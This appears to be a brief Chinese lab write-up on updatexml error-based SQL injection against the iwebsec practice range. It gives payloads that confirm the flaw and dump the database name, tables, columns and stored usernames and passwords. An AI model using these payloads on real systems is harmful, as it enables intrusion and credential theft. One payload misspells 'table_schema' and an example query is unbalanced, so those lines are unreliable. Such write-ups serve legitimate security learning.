iwebsec-updatexml报错注入
原理分析
Updatexml()函数“updatexml(XML_document, XPath_string, new_value);”
参数 | 描述 |
---|---|
XML_document | String格式,为XML文档对象的名称,文中为Doc |
XPath_string | Xpath格式的字符串 |
new_value | String格式,替换查找到的符合条件的数据 |
即sql语句为“select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1”
concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户
0x7eASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~
实战注入
1.判断是否存在漏洞,添加and 1=1# 页面正常回显,and 1=2# 页面回显异常,即存在sql注入漏洞
2.爆出数据库
id=1 and (updatexml(1,concat('~',(select database())),3))#
3.爆出表
id=1 and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schame=database())),3))#
4.爆出users表字段
id=1 and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),3))#
5.爆数据
id=1 and (updatexml(1,concat('~',(select group_concat(username,',',password) from users)),3))#